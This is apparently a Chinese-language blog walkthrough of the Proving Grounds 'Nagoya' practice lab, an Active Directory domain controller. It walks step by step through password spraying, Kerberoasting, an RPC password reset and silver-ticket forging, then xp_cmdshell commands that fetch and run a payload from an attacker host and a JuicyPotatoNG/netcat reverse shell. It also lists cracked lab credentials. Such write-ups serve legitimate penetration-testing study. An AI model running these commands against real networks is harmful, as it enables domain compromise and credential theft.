Proving Grounds Practice : Nagoya Walkthrough

 Proving Grounds Practice : Nagoya Walkthrough


Foothole (立足點 ) :

  • 算是相當難的一個靶機,一開始網站枚舉到帳號,後續是暴力破解獲得密碼
  • 是用已知的憑證透過 SMB 獲取某個 *.exe 檔案,再透過 dnSPY 解析獲得另一組憑證
  • 使用新的憑證走 RPC 去修改特定使用者密碼
  • 使用特定使用者密碼透過 evil-winrm 進入機器獲取第一階段 flag

PE ( 提權 ) :

  • 使用銀票攻擊登入 SQL Server 開啟 xp_cmdshell 並建立 Reverse Shell
  • SeImpersonatePrivilege 標準作業提權成功


注意事項 : 

  • dnSPY 學習
  • RPCClient 學習
  • 銀票攻擊再次學習


第一步 Rustscan,└─$ rustscan -a 192.168.183.21 --scripts none --ulimit 5000 | tee rustscan

看來是一台 DC



snmp check,└─$ sudo nmap -sU -p 161 192.168.183.21 | tee snmp



nmap,└─$ sudo nmap -A -sCV -p 53,80,88,135,139,389,445,464,593,3268,3269,3389,5985,9389,49666,49668,49676,49678,49679,49693,49708,49810 192.168.183.21 | tee nmap

Domain 名稱 : nagoya-industries.com

主機名稱 : nagoya

NetBIOS Name : NAGOYA-IND



enum4linux,└─$ enum4linux -a  192.168.183.21 | tee enum4linux



匿名 SMB Share 甚麼都沒有



沒有甚麼發現



nmap 帶上 ldap-search script 爬爬看,sudo nmap -n -sV -Pn --script ldap-search.nse 192.168.183.21

只有爬出 Domain Name



389 Port LDAP 進階搜尋看看,sudo nmap --script "ldap* and not brute" 192.168.183.21 -p 389 -v -Pn -sT


跟 nmap 爬到的資訊差不多,僅獲得 Domain Name 跟 DC Hostname



進階搜尋 LDAP 看看有無公開的資訊,ldapsearch -v -x -b "DC=nagoya-industries,DC=com" -H "ldap://192.168.183.21" "(objectclass=*)"

看來甚麼都沒有



80 /



80 /robots.txt



80 /Team 發現一堆帳號



整理一下做成 usernames.txt



gobuster 80 / 沒有看到甚麼結果




做了很久很久的密碼爆破,最後破解了幾個帳號得到密碼如下

這一步我覺得是這一題最難的一個步驟,靶機解題真的要有想像力

 - agoya-industries.com\Fiona.Clark:Summer2023

 - nagoya-industries.com\Craig.Carr:Spring2023

 - nagoya-industries.com\Andrea.Hayes:Nagoya2023



帶上驗證再做一次 enum4linux,└─$ enum4linux -a -u "nagoya-industries.com/Fiona.clark" -p Summer2023 192.168.183.21 | tee enum4linux2

發現其他幾個額外的帳號
 - svc_helpdesk
 - svc_mssql
 - svc_tpl
 - svc_web



也看得到 DC 標準的 SMB 分享資料夾了



發現幾個非預設的群組 developers、helpdesk、employees




SMB 登入 SYSVOL 分享資料夾,└─$ smbclient //192.168.183.21/SYSVOL -U "nagoya-industries.com/Fiona.clark" --password="Summer2023" 

底下發現一個不尋常的名稱資料夾 "ResetPassword"

進入後發現好幾個檔案,看來是一個執行檔與相關 dll 與 xml 定義檔



將檔案通通抓回來 kali



使用 dnSpy 解析 ResetPassword.exe 發現一組薪的憑證

svc_helpdesk:U299iYRmikYTHDbPbxPoYYfa2j4x4cdg



測試看看是一組有用的憑證,└─$ crackmapexec smb 192.168.183.21 -u svc_helpdesk -p 'U299iYRmikYTHDbPbxPoYYfa2j4x4cdg' -d 'nagoya-industries.com'



測試 SMB 沒有新的發現

evil-winrm 沒有作用,└─$ evil-winrm -i 192.168.183.21 -u 'nagoya-industries.com/svc_helpdesk' -p 'U299iYRmikYTHDbPbxPoYYfa2j4x4cdg'


ASREPRoast 測試看看,./GetNPUsers.py nagoya-industries.com/Fiona.clark:Summer2023 -dc-ip 192.168.183.21 -request -format john -outputfile outputfile.txt
或是
impacket-GetNPUsers -dc-ip 192.168.183.21  -request -outputfile hashes.asreproast nagoya-industries.com/Fiona.clark:Summer2023
看來沒有結果



Kerberos Roasting 測試看看,impacket-GetUserSPNs -request -dc-ip 192.168.183.21 'nagoya-industries.com/svc_helpdesk'

發現兩組帳號 HASH,分別是 svc_helpdesk(這個密碼我們有了)、svc_mssql



hashcat 解出 svc_mssql 的 HASH,得到新的憑證 svc_mssql:Service1



測試一下是有效憑證沒問題



目前共有五組憑證

 - nagoya-industries.com\Fiona.Clark:Summer2023

 - nagoya-industries.com\Craig.Carr:Spring2023

 - nagoya-industries.com\Andrea.Hayes:Nagoya2023

 - nagoya-industries.com\svc_helpdesk:U299iYRmikYTHDbPbxPoYYfa2j4x4cdg

 - nagoya-industries.com\svc_mssql:Service1


測試了 SMB 沒有新發現,RDP 沒有有效的憑證



winrm 沒有有效的憑證



遠端 bloodHound 先看看,bloodhound-python -d nagoya-industries.com -u 'Fiona.clark' -p 'Summer2023' -gc nagoya.nagoya-industries.com -c all -ns 192.168.183.21


Domain Admin 僅有預設的 Administrator 帳號



一一檢視後沒有發現捷徑,但從已經拿下的帳號 svc_helpdesk 發現一個看似可以利用的路徑

該帳號對使用者帳號 Christopher.Lewis 有 GenericAll 的權限

然後 Christopher.Lewis 的帳號隸屬 Remote Management Users 群組

看來可以朝向這個方向下手



Abuse 告知可以去 Reset 該使用者的密碼



告知可以使用 RPC 的方式去 Reset



RPC 指令出現錯誤

net rpc password "Christopher.Lewis" "Password123@" -U "nagoya"/"svc_helpdesk"%"U299iYRmikYTHDbPbxPoYYfa2j4x4cdg" -S 192.168.183.21


經過一番枚舉後發現這一篇,RPC 協定去重新設定密碼找到這一篇

https://malicious.link/posts/2017/reset-ad-user-password-with-linux/



改使用上述指令一樣出現 Failed to connect to IPC$




依據上述聯結改用 rpcclient 指令試試看



登入 RPC,└─$ rpcclient -U svc_helpdesk //192.168.183.21

設定使用者帳號 christopher.lewis 的密碼重設為 'Password123@

指令 : setuserinfo christopher.lewis 23 'Password123@'

然後使用 crackmapexec 測試看來是成功的

└─$ crackmapexec smb 192.168.183.21 -u christopher.lewis -p 'Password123@' -d nagoya-industries.com



RPCClient 更詳細的可以參考這一篇

Active Directory Enumeration: RPCClient - Hacking Articles



文章有提到使用 setuserinfo2 修改使用者密碼時帶 23 參數的意義





接著直接測試 winrm,看來這個帳號可以透過 winrm 有效登入

└─$ crackmapexec winrm 192.168.183.21 -u christopher.lewis -p 'Password123@' -d nagoya-industries.com



evil-winrm 直接進去了,└─$ evil-winrm -i 192.168.183.21 -u 'christopher.lewis' -p 'Password123@' 



再建立一個 Reverse Shell 回來,獲取 local.txt flag



開始 PE,執行 winPEASx64.exe



發現這一台有安裝 MSSQL 服務且跑在標準 Port 1433 上



執行 chisel 將靶機的 1433 Port 對應到 Kali 的 1433 Port
.\chisel.exe client 192.168.45.177:8081 R:1433:127.0.0.1:1433


直接 └─$ impacket-mssqlclient svc_mssql:Service1@127.0.0.1 -windows-auth

登入 MSSQL 確認成功,執行 select @@version; 查看一下當前版本是 SQL Server 2022



開始標準作業,輸入 EXECUTE sp_configure 'show advanced options', 1;

結果 GG.......顯示 does not have permission 沒有權限



這是 SPN 服務帳號,之前有學過還可以利用銀票,那就試試看吧

參考 : https://your-it-note.blogspot.com/2023/11/active-directory-2.html

創建銀票要三個資訊 :

 - 1. SPN 密碼 Hash

 - 2. 網域 SID

 - 3. 目標服務的 SPN

第一個一定要 NTLM HASH 不能用明碼的密碼,但現在只有 svc_mssql 帳號明碼的密碼 

透過線上 NTLM HASH 產生器來產生 HASH https://codebeautify.org/ntlm-hash-generator

HASH : E3A0168BC21CFB88B95C954A5B18F57C



第二個網域 SID,這個比較簡單,在 enum4linux 中就有了如下圖

Domain SID : S-1-5-21-1969309164-1513403977-1686805993



亦可透過 evil-winrm 直接下指令 get-ADDomain 獲取也可以得到 SID



第三個目標服務的 SPN

匯入 PowerView.ps1 執行 setspn -L svc_mssql

或是使用 Get-NetUser -SPN | select samaccountname,serviceprincipalname

參考 : https://your-it-note.blogspot.com/2023/11/active-directory.html

SPN : MSSQL/nagoya.nagoya-industries.com



SPN 也可使用 evil-winrm 取得,指令如下

Get-ADUser -Filter {SamAccountName -eq "svc_mssql"} -Properties ServicePrincipalNames



所以現在創建銀票所需要的三個值都有了

 - 1. SPN 密碼 Hash : E3A0168BC21CFB88B95C954A5B18F57C

 - 2. 網域 SID : S-1-5-21-1969309164-1513403977-1686805993

 - 3. 目標服務的 SPN : MSSQL/nagoya.nagoya-industries.com


之前學到產銀票是透過 mimikatz.exe 來產生

但是現在沒有管理員權限無法使用 mimikatz.exe 必須從其他 Windows 機器去跑 mimikatz.exe 

或是可以直接用 kali 來產生服務銀票,指令如下

impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator

可以看到產生的銀票檔名是 Administrator.ccache



Kali 預設沒有 kerbers 套件,要先安裝套件

參考 : https://installati.one/install-krb5-user-kalilinux/?expand_article=1

sudo apt-get update

sudo apt-get -y install krb5-user



或是


安裝完後跟 Windows Powershell 一樣輸入 klist 看一下現在的 kerbers 驗證清單

可以發現沒有任何 Kerbers 驗證清單票據

接著將剛剛產生的 Administrator.ccache 銀票匯入

指令 export KRB5CCNAME=$PWD/Administrator.ccache

再執行一次 klist 就可以看到現在的 kerbers 票據是

MSSQL/nagoya.nagoya-industries.com@NAGOYA-INDUSTRIES.COM



接著編輯 /etc/krb5user.conf 內容如下

[libdefaults]

        default_realm = NAGOYA-INDUSTRIES.COM

        kdc_timesync = 1

        ccache_type = 4

        forwardable = true

        proxiable = true

        rdns = false

        dns_canonicalize_hostname = false

        fcc-mit-ticketflags = true


[realms]

        NAGOYA-INDUSTRIES.COM = {

                kdc = nagoya.nagoya-industries.com

        }


[domain_realm]

        .nagoya-industries.com = NAGOYA-INDUSTRIES.COM



一樣透過 impacket-mssqlclient 登入,只是這一次帶銀票的驗證登入

impacket-mssqlclient -k nagoya.nagoya-industries.com



標準作業

EXECUTE sp_configure 'show advanced options', 1;

RECONFIGURE;

EXECUTE sp_configure 'xp_cmdshell', 1;

RECONFIGURE;

這一次可以順利執行了



執行 whoami 沒有問題



上傳 Payload 執行 Payload

EXECUTE xp_cmdshell 'curl http://192.168.45.177/pg/21/4446.exe -o c:\temp\4446.exe';

EXECUTE xp_cmdshell 'c:\temp\4446.exe';



4446 Reverse Shell 進來了,這一次 whoami /priv 可以看到 SeImpersonatePrivilege



上傳 JuicyPotatoNG.exe & nc64.exe




標準作業 .\JuicyPotatoNG.exe -t * -p nc64.exe -a "192.168.45.177 443 -e c:\windows\system32\cmd.exe"

443 Reverse Shell 進來了,whoami 確定是 system 直接拿 flag 吧




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)